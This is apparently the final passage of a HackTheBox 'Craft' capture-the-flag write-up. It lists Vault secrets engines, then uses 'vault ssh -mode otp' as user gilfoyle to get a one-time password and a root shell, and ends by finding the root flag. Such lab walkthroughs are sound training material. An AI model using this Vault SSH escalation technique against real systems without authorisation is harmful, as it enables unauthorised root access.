cubbyhole/    cubbyhole    cubbyhole_ffc9a6e5    n/a            n/a        false             local          false        map[]             per-token private secret storage
identity/     identity     identity_56533c34     system         system     false             replicated     false        map[]             identity store
secret/       kv           kv_2d9b0109           system         system     false             replicated     false        map[version:1]    key/value secret storage
ssh/          ssh          ssh_3bbd5276          system         system     false             replicated     false        map[]             n/a
sys/          system       system_477ec595       n/a            n/a        false             replicated     false        map[]             system endpoints used for control, policy and debugging

let’s test is we can use the ssh vault connection to get a root access to this machine, if no security was done using TSL, it should be possible

gilfoyle@craft:/dev/shm$ vault ssh -mode otp root@10.10.10.110
WARNING: No -role specified. Use -role to tell Vault which ssh role to use for
authentication. In the future, you will need to tell Vault which role to use.
For now, Vault will attempt to guess based on the API response. This will be
removed in the Vault 1.1.
Vault SSH: Role: "root_otp"
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 246512e4-bc60-ba3a-4732-1e3839e3a2ee
The authenticity of host '10.10.10.110 (10.10.10.110)' can't be established.
ECDSA key fingerprint is SHA256:sFjoHo6ersU0f0BTzabUkFYHOr6hBzWsSK0MK5dwYAw.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.10.110' (ECDSA) to the list of known hosts.


  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
   |\_________/|/ _ \
   |  |  |  |  | / | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | \_| |
   |  |  |  |  |\___/
   |\_|__|__|_/|
    \_________/

Password:

We are provided by the OTP password

OTP for the session is: 246512e4-bc60-ba3a-4732-1e3839e3a2ee

let’s use it

Password: 
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~# 
root@craft:~# ls
root.txt

We have the root flag 🙂

Enjoy -:)